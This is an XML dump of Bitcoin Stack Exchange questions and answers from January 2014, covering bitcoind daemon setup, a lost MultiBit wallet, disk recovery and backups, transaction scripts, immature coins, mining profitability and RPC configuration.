  <row Id="20107" PostTypeId="1" AcceptedAnswerId="20186" CreationDate="2014-01-08T09:35:39.980" Score="3" ViewCount="1519" Body="&lt;p&gt;When I enter &lt;code&gt;bitcoind getinfo&lt;/code&gt; on my remote ubuntu-Server I get this answer:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{  &#xA;    &quot;version&quot; : 32400,&#xA;    ... (some other info)&#xA;    &quot;errors&quot; : &quot;WARNING: Displayed transactions may not be correct!  You may need to upgrade, or other nodes may need to upgrade.&quot;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What went wrong?&lt;/li&gt;&#xA;&lt;li&gt;How can I fix it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is what I did before:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a remote server with &lt;code&gt;Ubuntu 12.04 LTS&lt;/code&gt; as operating system. The machine is 800 km away from my home, I am connected to it via SSH. So there is no GUI, I only can use shell commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I installed bitcoind calling this shell-command (while beeing root) after upgrading all other packeges (&lt;code&gt;apt-get update&lt;/code&gt; followed by &lt;code&gt;apt-get dist-upgrade&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# apt-get install bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bitcoind and 8 or 10 other packages was installed.&lt;br&gt;&#xA;Then I edited &lt;code&gt;/root/.bitcoin/bitcoin.conf&lt;/code&gt; and entered this:   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;server=1&lt;br&gt;&#xA;  daemon=1&lt;br&gt;&#xA;  rpcuser=[my username]&lt;br&gt;&#xA;  rpcpassword=[very long passphrade]    &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then I did start bitcoind by calling  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The answer was   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin server starting&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but even after waiting more then 5 minutes I did not get the shell back (I could not enter new commands). So I pressed&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ctrl-c&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I entered &lt;code&gt;bitcoind&lt;/code&gt; again, I found that is already was running: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin: Cannot obtain a lock on data directory /root/.bitcoin.  Bitcoin is probably already running.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It was also running after closing and re-opening the ssh-conection to the server. So I thought everything was ok now. I also generated a bitcoin-address which worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, about 12 or 14 hours later, I reconnected to the ubuntu-server and entered&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the answer was&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error: couldn't connect to server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;also displaying all active processes by calling &lt;code&gt;top&lt;/code&gt; showed me, that bitcoind was not running. So I started it again by entering &lt;code&gt;bitcoind&lt;/code&gt;in the command line, but again I didn't get the shell back, so again I had to press &lt;code&gt;ctrl-c&lt;/code&gt;. But when I entered &lt;code&gt;bitcoind getinfo&lt;/code&gt; after that I got the answer that I posted at the beginning of this posting (&lt;code&gt;&quot;errors&quot; : &quot;WARNING: Displayed transactions may not be correct! ...&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What went wrong?&lt;/li&gt;&#xA;&lt;li&gt;How can I fix it?&lt;/li&gt;&#xA;&lt;li&gt;How can I start bitcoind and get back to shell again?&lt;/li&gt;&#xA;&lt;li&gt;How can I stop bitcoind? (I just can kill the process, I don't know any other way)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;EDIT 1:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(2014-01-08; evening)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About stopping bitcoind: I found out that the command is &lt;code&gt;bitcoind stop&lt;/code&gt;. But when I tried this yesterday I got an error (sorry, can't remember the exact error-message. I guess it sayed &quot;unknown command&quot;, but I'm not shure)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;EDIT 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(2014-01-09; morning)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I stopped bitcoind and deleted everything in the directory /root/.bitcoin/ except wallet.dat and bitcoin.conf. Then I started bitcoind again. Even after about 8 hours it still worked fine. Sometimes it took up to about 20 seconds to respond to commands like &lt;code&gt;bitcoind getinfo&lt;/code&gt;, but bitcoind always did give the expected answer without any error messages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I went to bed and this morning I logged in to my server again and I found that bitcoind was not running (the answer to &lt;code&gt;bitcoind getinfo&lt;/code&gt; was &lt;code&gt;error: couldn't connect to server&lt;/code&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I started it with the command &lt;code&gt;bitcoind&lt;/code&gt;. The answer was &lt;code&gt;bitcoin server starting&lt;/code&gt;, but I did not get back the shell (I am unable to enter new commands). So I opened a second shell and entered &lt;code&gt;bitcoind getinfo&lt;/code&gt; there, and after a few seconds the server responded with an status-json-object with an empty error-string (which means: no error). So I think the start was successful. But the first shell (where I did start bitcoind) is still hang up, since more than 30 minutes now.&lt;/p&gt;&#xA;" OwnerUserId="10756" LastEditorUserId="10756" LastEditDate="2014-01-09T08:12:27.160" LastActivityDate="2014-01-09T16:17:07.850" Title="Displayed transactions may not be correct!" Tags="|bitcoind|server|daemon|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20108" PostTypeId="1" CreationDate="2014-01-08T09:39:21.660" Score="2" ViewCount="299" Body="&lt;p&gt;I've looked through every file imaginable and I can't find the Wallet I had all my bitcoin in. I'm about to faint, you have no idea how much money I just lost. I'm trying my best not to curse up a storm in here, but I don't see the wallet anywhere, i'm beyond angry right now. Can anyone help? Please?&lt;/p&gt;&#xA;" OwnerUserId="11940" LastActivityDate="2014-01-08T13:55:10.723" Title="So I closed my wallet in MultiBit and there isn't a trace of my wallet" Tags="|exchanges|blockchain.info|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20110" PostTypeId="2" ParentId="20108" CreationDate="2014-01-08T10:31:08.260" Score="2" Body="&lt;p&gt;See here first,&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_troubleshooting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://multibit.org/en/help/v0.5/help_troubleshooting.html&lt;/a&gt;,&#xA;Then here,&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_missingWallets.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://multibit.org/en/help/v0.5/help_support_missingWallets.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, has been asked previously,&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10281/closed-wallet-in-multibit-is-it-gone-for-good&quot;&gt;Closed wallet in MultiBit, is it gone for good?&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="11941" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-08T10:37:07.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20111" PostTypeId="2" ParentId="19882" CreationDate="2014-01-08T11:25:59.050" Score="2" Body="&lt;p&gt;My favorite: &lt;a href=&quot;https://bitcoinity.org/markets/mtgox/USD&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinity.org/markets/mtgox/USD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;16 exchanges&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;huobi&lt;/li&gt;&#xA;&lt;li&gt;btce&lt;/li&gt;&#xA;&lt;li&gt;bitstamp&lt;/li&gt;&#xA;&lt;li&gt;btcchina&lt;/li&gt;&#xA;&lt;li&gt;mtgox&lt;/li&gt;&#xA;&lt;li&gt;bitfinex&lt;/li&gt;&#xA;&lt;li&gt;kraken&lt;/li&gt;&#xA;&lt;li&gt;bitcurex&lt;/li&gt;&#xA;&lt;li&gt;cavirtex&lt;/li&gt;&#xA;&lt;li&gt;localbitcoins&lt;/li&gt;&#xA;&lt;li&gt;campbx&lt;/li&gt;&#xA;&lt;li&gt;justcoin&lt;/li&gt;&#xA;&lt;li&gt;bit2c&lt;/li&gt;&#xA;&lt;li&gt;bitquick&lt;/li&gt;&#xA;&lt;li&gt;rmbtb&lt;/li&gt;&#xA;&lt;li&gt;icbit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;20 currencies&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AUD &lt;/li&gt;&#xA;&lt;li&gt;CAD &lt;/li&gt;&#xA;&lt;li&gt;CHF &lt;/li&gt;&#xA;&lt;li&gt;CNY &lt;/li&gt;&#xA;&lt;li&gt;DKK &lt;/li&gt;&#xA;&lt;li&gt;EUR &lt;/li&gt;&#xA;&lt;li&gt;GBP &lt;/li&gt;&#xA;&lt;li&gt;HKD &lt;/li&gt;&#xA;&lt;li&gt;ILS &lt;/li&gt;&#xA;&lt;li&gt;JPY &lt;/li&gt;&#xA;&lt;li&gt;KRW &lt;/li&gt;&#xA;&lt;li&gt;NOK &lt;/li&gt;&#xA;&lt;li&gt;NZD &lt;/li&gt;&#xA;&lt;li&gt;PLN &lt;/li&gt;&#xA;&lt;li&gt;RUB &lt;/li&gt;&#xA;&lt;li&gt;RUR &lt;/li&gt;&#xA;&lt;li&gt;SEK &lt;/li&gt;&#xA;&lt;li&gt;SGD&lt;/li&gt;&#xA;&lt;li&gt;THB &lt;/li&gt;&#xA;&lt;li&gt;USD&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;10 time spans&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;10 minutes&lt;/li&gt;&#xA;&lt;li&gt;1 hour&lt;/li&gt;&#xA;&lt;li&gt;3 hours&lt;/li&gt;&#xA;&lt;li&gt;12 hours&lt;/li&gt;&#xA;&lt;li&gt;24 hours&lt;/li&gt;&#xA;&lt;li&gt;3 days&lt;/li&gt;&#xA;&lt;li&gt;7 days&lt;/li&gt;&#xA;&lt;li&gt;30 days&lt;/li&gt;&#xA;&lt;li&gt;6 month&lt;/li&gt;&#xA;&lt;li&gt;1 year&lt;/li&gt;&#xA;&lt;li&gt;2 years&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10756" LastActivityDate="2014-01-08T11:25:59.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20112" PostTypeId="2" ParentId="20104" CreationDate="2014-01-08T11:29:58.253" Score="0" Body="&lt;p&gt;Like &lt;a href=&quot;https://bitcoin.stackexchange.com/users/208/pieter-wuille&quot;&gt;Pieter Wuille&lt;/a&gt; mentions, there is a difference between the &lt;code&gt;scriptPubKey&lt;/code&gt; and the &lt;code&gt;scriptSig&lt;/code&gt; script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a transaction is made, every output has it's own &lt;code&gt;scriptPubKey&lt;/code&gt; script that specifies the condition to spend the output. Standard pay-to-address transactions have a script that can be interpreted as &quot;sign this hash with the private key that corresponds to this address&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To spend the output, one must include it as an input in a new transaction. But to fulfil the output script, you will need to pass data as input to the script, mostly this is a signature. This data is passed in the &lt;code&gt;scriptSig&lt;/code&gt; script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;wiki page on the scripting concept&lt;/a&gt; will probably help you understand it.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-08T11:29:58.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20113" PostTypeId="2" ParentId="20108" CreationDate="2014-01-08T13:12:35.343" Score="1" Body="&lt;p&gt;If you didn't delete the file it should just be a matter of finding it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even it it was deleted, if you don't create new files, it can probably be recovered since the data is not gone, just the directory entry. Creating new files may re-use the disk area overwriting the file data you want to recover so don't do that. Look for disk recovery software. Years ago I wrote such commercial software to recover images where the directory was corrupted, it can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first rule of recovery is stop using the disk immediately! Write protect the disk if possible. Make a bit-to-bit copy to another disk. Now try to recover using the copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had a lot of money in  the wallet, pull the disk immediately and get it to a disk recovery service, they are not cheap.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is backup worth the trouble? Not until it is to late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two main ways to loose files: a bad disk and deletion in error. Thus you need two types of backup: daily backup and archival.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Because sooner or later both types of loss will occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a coin wallet, print out the private key and address, then put them in a safe, the more value the more secure the safe needs to be. The common portable safes are just that portable. They can be token and usually opened just be dropping on a corner. Get a safe either to big and heavy to be stolen and/or securely mounted in the building. Most key locks can be drilled in less than a minute. Combinations locks are susceptible to a &lt;a href=&quot;http://en.wikipedia.org/wiki/Rubber-hose_cryptanalysis&quot; rel=&quot;nofollow&quot;&gt;runbber-hose&lt;/a&gt; attack. Bank vaults are best, they have live security of the vault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I do? I have hourly incremental backups. Have all my data on a Raid5 with a hot standby drive. Daily that backs up to another Raid5 drive. A couple of time a year I make disk copies to raw drives and put them in a safe. I also have my software archives off-site. Am I paranoid? Not really, I've just been in the computer business for 40+ years. For paranoid see my wife, she is paid to be paranoid and she does it well. :-)&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-01-08T13:55:10.723" LastActivityDate="2014-01-08T13:55:10.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20114" PostTypeId="1" CreationDate="2014-01-08T13:41:40.183" Score="2" ViewCount="96" Body="&lt;p&gt;In the sourcecode of &lt;a href=&quot;https://github.com/gooios/ppcoin/blob/master/src/main.cpp#L1433&quot; rel=&quot;nofollow&quot;&gt;PPCoin/SRC/MAIN.CPP&lt;/a&gt; line 1433 I read: fees are destroyed to compensate the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to turn it off that fees are destroyed, if I change this code will it work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ppcoin: fees are not collected by miners as in bitcoin&#xA;// ppcoin: fees are destroyed to compensate the entire network&#xA;if (fDebug &amp;amp;&amp;amp; GetBoolArg(&quot;-printcreation&quot;))&#xA;    printf(&quot;ConnectBlock() : destroy=%s nFees=%&quot;PRI64d&quot;\n&quot;, FormatMoney(nFees).c_str(), nFees);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change &lt;code&gt;destroy=%s&lt;/code&gt; to &lt;code&gt;destroy=%$$$&lt;/code&gt;, will it stop destroying fees?&lt;/p&gt;&#xA;" OwnerUserId="11945" LastEditorUserId="11945" LastEditDate="2014-01-08T18:17:01.433" LastActivityDate="2014-01-08T21:41:08.287" Title="Turn off fee destruction in PPCoin" Tags="|peercoin|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20118" PostTypeId="1" CreationDate="2014-01-08T14:59:50.980" Score="4" ViewCount="1428" Body="&lt;p&gt;Is there any way to chronologically sort transactions within a block?  &lt;/p&gt;&#xA;" OwnerUserId="11912" LastActivityDate="2014-09-07T10:48:19.957" Title="Chronologically sorting transactions within a block" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20119" PostTypeId="2" ParentId="20118" CreationDate="2014-01-08T15:01:22.863" Score="0" Body="&lt;p&gt;Process the raw transaction and look at the time that the transaction hit the network (the epoch time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you need a pointer of how to do that?&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-08T15:01:22.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20120" PostTypeId="1" AcceptedAnswerId="20125" CreationDate="2014-01-08T15:55:42.377" Score="9" ViewCount="8260" Body="&lt;p&gt;I just ran into the idea of immature coins. Can someone explain to me the idea behind immature  coins and what was the purpose of it?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2018-05-04T17:05:34.873" LastActivityDate="2018-05-04T17:05:34.873" Title="What was the goal of creating the feature of immature coins?" Tags="|mining-reward|terminology|chain-reorganization|immature-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20121" PostTypeId="1" CreationDate="2014-01-08T16:01:25.503" Score="1" ViewCount="168" Body="&lt;p&gt;I'm in the process of assembling raw transactions and I have a couple of questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using listunspent to get a list of the transactions I can spend....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, should I select the oldest transaction first for inclusion? Or is there a better way to select transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, for calculating the transaction fee, is there an easy way to estimate the size of a transaction? For example, can I say each output is X bytes and each input is Y bytes?&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2017-09-29T07:48:10.110" Title="Createrawtransaction questions" Tags="|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20122" PostTypeId="2" ParentId="11516" CreationDate="2014-01-08T16:12:33.300" Score="0" Body="&lt;p&gt;I'm not sure this was made clear but also you do not &quot;Receive&quot; public keys. when you generate a new wallet your client generates public and private keys. Using math you can get your public keys from your private keys but not the other way around (eg. you can not determin your private key from your public keys). With your private key you can now sign transactions to be broadcast the Bitcoin network and anyone can use your public keys to verify that YOU authorized the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What people are saying here about the need to NOT export your keys is because normally Electrum encrypts that data. making it hard for someone else to use should they gain access to your computer (ether physically or remotely). By exporting your private keys to a csv file you've just done the difficult work for any would be attacker.&lt;/p&gt;&#xA;" OwnerUserId="11949" LastActivityDate="2014-01-08T16:12:33.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20123" PostTypeId="2" ParentId="12670" CreationDate="2014-01-08T16:41:30.323" Score="2" Body="&lt;p&gt;I have been wondering about it myself for a long time now. I even thought of developing trading software (bot) that would automatically buy on one exchange and sell on MtGox. The price difference between BTC-e and MtGox can be as high as $100/BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is how to get your cash (US$) out of MtGox? Last time I tried, I waited - in vain - for almost 5 weeks and finally created a support ticket to cancel the wire transfer, bought BTCs at the inflated price and transferred them to CoinBase to cash out.&#xA;The only way I see to make some profit is this:&#xA;BTC price fluctuates wildly every second of every hour of every day.&#xA;So &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;buy low at BTC-e (or CoinBase) or any other exchange, say you buy 5 BTCs for $800 each = $4K&lt;/li&gt;&#xA;&lt;li&gt;Transfer to MtGox and sell for $900 each, Now you have $4500 cash sitting in your MtGox account that you cannot get out.&lt;/li&gt;&#xA;&lt;li&gt;Wait until BTC price on MtGox drops to BELOW $800, BUY. Say, for example, at $750, you buy 6 BTCs for the $4500 you have.&lt;/li&gt;&#xA;&lt;li&gt;Transfer back to the exchange you started at (or to CoinBase, where ACH withdrawals to US bank accounts take only 48 hours). Now you've completed a round trip with 1 BTC profit (less transfer fees, which actually should not be more than $100 total).&lt;/li&gt;&#xA;&lt;li&gt;Wait until BTC price is $800 again at this exchange (your starting point), cash-out, or repeat the process.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But you see where the problem is. I am assuming the BTC price will swing wildly between $750 and $900 in few short days. What if it doesn't? what if it drops in value and stays below your starting price of $800 for a long time, or keeps losing value? But then again, it's a risk inherit in any speculative trade. And Bitcoin trading is all speculation.&lt;/p&gt;&#xA;" OwnerUserId="11950" LastEditorUserId="67463" LastEditDate="2017-12-07T23:14:26.133" LastActivityDate="2017-12-07T23:14:26.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20125" PostTypeId="2" ParentId="20120" CreationDate="2014-01-08T17:41:38.687" Score="13" Body="&lt;p&gt;&lt;em&gt;Immature coins&lt;/em&gt; are coins that were created in a block reward and haven't aged sufficiently, yet. The problem with block rewards is that they could still disappear again, if the generating block ends up being invalidated by a competing block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to minimize the confusion and subsequent problems from someone spending coins that end up disappearing later again, block rewards are considered immature until another 100 blocks descend from the generating block. After this approximately 16 hours and 40 minutes, the coins are mature and considered safe to be spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, regular transactions that were confirmed in a block that got invalidated by a longer competing chain would just be picked up by another block. The difference here is that a regular transaction is based on prior knowledge of the coins, even if it is through a chain of transactions, while newly created coins would not be there to fund a transaction.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-02-08T01:40:29.113" LastActivityDate="2014-02-08T01:40:29.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20127" PostTypeId="2" ParentId="18369" CreationDate="2014-01-08T18:00:16.893" Score="1" Body="&lt;p&gt;QT's RPC API is set to listen by default to TCP port 8332. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take out everything from your &lt;strong&gt;bitcoin.conf&lt;/strong&gt; and leave only:&#xA;rpcuser=hello1 &#xA;rpcpassword=12345&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have specified the &lt;strong&gt;rpcuser&lt;/strong&gt; and &lt;strong&gt;rpcpassword&lt;/strong&gt; parameters in the bitcoin.conf file you don't need to explicitly specify them in the bitcoind initialization command (you will need to send them from your client, once the daemon is up and running). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a Command Prompt, run: &lt;strong&gt;bitcoind.exe -daemon -debugnet -printtoconsole&lt;/strong&gt; and then open a new Command Prompt and type: &lt;strong&gt;netstat -a&lt;/strong&gt;, once the RPC API is listening for connections you should see this: &lt;strong&gt;TCP  127.0.0.1:8332  myHostName:0  LISTENING&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a note, &lt;strong&gt;rpcallowip=*&lt;/strong&gt; puts your server at risk so I would highly recommend you stop using it immediately.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-08T18:00:16.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20129" PostTypeId="1" AcceptedAnswerId="20147" CreationDate="2014-01-08T18:53:49.473" Score="2" ViewCount="161" Body="&lt;p&gt;I am considering buying a &lt;a href=&quot;http://lamassu.is&quot; rel=&quot;nofollow&quot;&gt;Lamassu&lt;/a&gt; Bitcoin ATM machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The small machine is apparently &quot;grab resistant&quot;. Does anyone know how the grab resistant mechanism works? Are there hooks on the back?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-05-22T19:19:44.307" Title="Preventing theft of Bitcoin ATM" Tags="|bitcoin-atm|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20131" PostTypeId="1" AcceptedAnswerId="20132" CreationDate="2014-01-08T19:07:18.553" Score="3" ViewCount="132" Body="&lt;p&gt;It is my understanding that the longest blockchain is the one that should be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is &quot;longest&quot; measured by the number of blocks or the number of transactions?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditDate="2018-05-04T17:16:15.277" LastActivityDate="2018-05-04T17:17:22.143" Title="Blockchain length by number of blocks or transactions?" Tags="|blockchain|blockchain-fork|terminology|best-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20132" PostTypeId="2" ParentId="20131" CreationDate="2014-01-08T19:11:20.740" Score="0" Body="&lt;p&gt;The longest blockchain is measured by the number of blocks, not the number of transactions. This is because the proof-of-work is linked to the creation of blocks, not transactions.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-08T19:11:20.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20133" PostTypeId="1" AcceptedAnswerId="20134" CreationDate="2014-01-08T19:12:08.087" Score="7" ViewCount="8706" Body="&lt;p&gt;Butterflylabs has a new 600 GH/s &lt;a href=&quot;http://www.butterflylabs.com/monarch/&quot;&gt;Bitcoin miner&lt;/a&gt; for $2,196.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://dustcoin.com/&quot;&gt;here&lt;/a&gt;, 600 GH/s at today's rate would mine approximately $170 a day. This means you make back the original cost of the miner in about two weeks and start making a profit from there on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems too good to be true. Is there something I am missing here?&lt;/p&gt;&#xA;" OwnerUserId="11955" LastEditorUserId="2306" LastEditDate="2016-03-09T17:05:10.200" LastActivityDate="2016-03-09T17:05:10.200" Title="Bitcoin Miner Profit using 600 GH/s Monarch from Butterflylabs" Tags="|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20134" PostTypeId="2" ParentId="20133" CreationDate="2014-01-08T19:15:15.143" Score="8" Body="&lt;p&gt;The part you are missing is that it is a preorder and the current estimate is that if you ordered now, you would likely not receive your mining hardware until April 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site shows a good calculator and I have configured it to show the (lack of) profits you would make if you started mining with this miner starting in April:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mining.thegenesisblock.com/a/7141b8c779&quot;&gt;http://mining.thegenesisblock.com/a/7141b8c779&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2014-01-08T19:15:15.143" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20135" PostTypeId="1" AcceptedAnswerId="20206" CreationDate="2014-01-08T19:41:56.040" Score="1" ViewCount="125" Body="&lt;p&gt;I made a sendfrom call specifying the fromaccount parameter. The resulting transaction created a change address which was not assigned to the account I specified. The address was not assigned to any account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you think this might have happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do you think I can spend the amount on the change address by sending using sendfrom by specifying the same account?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-01-09T20:36:30.923" Title="Can the change address be in a different account after using sendfrom &lt;fromaccount&gt;?" Tags="|sending|bitcoin-core-accounts|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20137" PostTypeId="1" CreationDate="2014-01-08T20:32:32.920" Score="3" ViewCount="668" Body="&lt;p&gt;To mine bitcoin I believe that you take the input and add a salt number to that then run the hashing algorithm to find a suitable output, but how large can the salt be, couldn't I just take the current input subtract it from the previously found bitcoin input+salt to get a new salt, and use that new input plus new salt to find a suitable output (same output as the old bitcoin)?&lt;/p&gt;&#xA;" OwnerUserId="11959" LastActivityDate="2017-08-08T01:45:10.657" Title="How large can the bitcoin salt value be?" Tags="|hash|salt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
